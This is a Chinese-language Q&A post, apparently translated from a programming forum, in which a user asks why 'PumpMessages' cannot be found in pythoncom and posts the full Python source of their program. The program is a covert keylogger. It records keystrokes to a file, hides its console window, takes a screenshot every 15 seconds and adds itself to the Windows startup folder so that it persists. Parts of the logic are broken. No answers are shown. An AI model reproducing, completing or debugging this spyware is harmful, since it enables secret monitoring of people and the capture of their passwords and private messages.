在'pythoncom.py'中找不到引用'PumpMessages'

时间:2017-02-22 19:16:18

标签: python-2.7 python-multithreading pyhook

我想了解这里发生了什么。我收到cannot find reference 'PumpMessages' in 'pythoncom.py'但pip说Requirement already satisfied: pyHook in c:\python27\lib\site-packages的警告,所以我认为它安装正确。

任何帮助将不胜感激。我已经搜索谷歌几天无济于事。代码似乎开始正确创建日志文件和screencap目录,但没有收集数据,它以代码1退出。

这是代码:

import pyHook
import pythoncom
from sys import argv

from datetime import *
import os

import threading
import pyscreenshot
import win32console
import win32gui
import winshell

root_dir = os.path.split(os.path.realpath(argv[0]))[0]
log_file = os.path.join(root_dir, "log_file.txt")
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"

buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)

cap_period = 15
log_semaphore = threading.Semaphore()


def log(message):
    if len(message) > 0:
        log_semaphore.acquire()
        with open(log_file, "a")as f:
            f.write("{}:\t{}\n".format(datetime.now(), message))
            # print "{}:\t{}".format(datetime.now(), message)
        log_semaphore.release()


def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)

        if char == "~":
            log(buffer)
            log("---PROGRAM ENDED---")
            os._exit(1)

            pause = datetime.now() - last_press
            if pause >= pause_delta:
                log(buffer)
                buffer = ""

                if event.Ascii == 13:
                    buffer += "<ENTER>"
                elif event.Ascii == 8:
                    buffer += "<BACKSPACE>"
                elif event.Ascii == 9:
                    buffer += "<TAB>"
                else:
                    buffer += char
                last_press = datetime.now()


def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir, "screen_" + datetime.now().strftime("%Y_%m_%d_%H_%M_%S") + ".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
    threading.Timer(cap_period, screenshot).start()


def startup():
    if name + ".lnk" not in os.listdir(winshell.startup()):
        log("---Adding shortcut to startup folder---")
        link_loc = os.path.join(winshell.startup(), name + ".lnk")
        sc = winshell.shortcut()
        sc.path = os.path.realpath(argv[0])
        sc.write(link_loc)


window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)

hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages())

log("---PROGRAM STARTED---")

startup()
screenshot()
keylog.start()

0 个答案:

没有答案